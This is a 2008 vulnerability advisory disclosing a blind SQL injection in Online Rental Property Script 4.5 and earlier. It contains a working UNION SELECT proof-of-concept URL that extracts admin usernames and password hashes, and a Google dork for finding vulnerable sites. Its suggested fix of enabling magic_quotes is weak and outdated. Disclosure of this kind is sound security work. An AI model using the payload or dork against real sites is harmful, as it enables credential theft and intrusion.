ECHO_ADV_91$2008

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[ECHO_ADV_91$2008] Online Rental Property Script <= 4.5 (pid) Blind Sql Injection Vulnerability
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Author         : M.Hasran Addahroni
Date           : May, 5 th 2008
Location       : Jakarta, Indonesia
Web            : http://advisories.echo.or.id/adv/adv91-K-159-2008.txt
Critical Lvl   : Medium
Impact         : System access
Where         : From Remote
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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   : Online Rental Property Script
version       : <= 4.5
Vendor        : http://www.online-rent.com
Description   :

Since 2003 we develop, sell and support our ONLINE BOOKING ENGINE for rental properties with real estate option. Joomla CMS is now integrated with our script. DESKTOP software for property management by owners/agents. Online and offline payments. Comission based/subscription based advertising for owners. Two booking calendars, three online booking types. Google Maps integration and NEW Google Maps property listing. Advanced administration features: additional services, description fields, taxes, custom links and pages, multiple language support, multiple currencies, configurable search. Property Management features: Advanced Reservation Management, HTML pages, SEO optimization, traffic report, Ratecard, price grid and many more ... Newsletter module, cronjob for recurring tasks, IP ban, activity log. You can build your own design and 100% customize the text used in the script. 14 predefined design templates and 10 predefined display styles. Easy upgrades. Add property wizard
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Vulnerability:
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Input passed to the "pid" parameter is not properly verified before being used to sql query. 
This can be exploited thru the browser and get the username and hash md5 password from admin.
Successful exploitation requires that "magic_quotes" is off


Poc/Exploit:
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http://www.target.com/index.php?pid=-1%20union%20select%201,concat(id,0x3a,user,0x3a,password,0x3a,access,0x3a,email),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2%20from%20admin--&user=det

Dork:
~~~~~
Google    : "allinurl:index.php?user=daysbooking"


Solution:
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- Edit the source code to ensure that input is properly verified.
- Turn on magic_quotes in php.ini
 

Timeline:
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- 01 - 05 - 2008 bug found
- 01 - 05 - 2008 vendor contacted
- 05 - 05 - 2008 advisory released
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Shoutz:
~~~~~
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~ dr188le,SinChan,h4ntu,cow_1seng,poniman_coy, ketut, rizal, cR4SH3R, kuntua, stev_manado, nofry,k1tk4t,0pt1c
~ newbie_hacker@yahoogroups.com
~ #aikmel #e-c-h-o @irc.dal.net
~ special for rgod - good bye mate, thanks for the great works.
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Contact:
~~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

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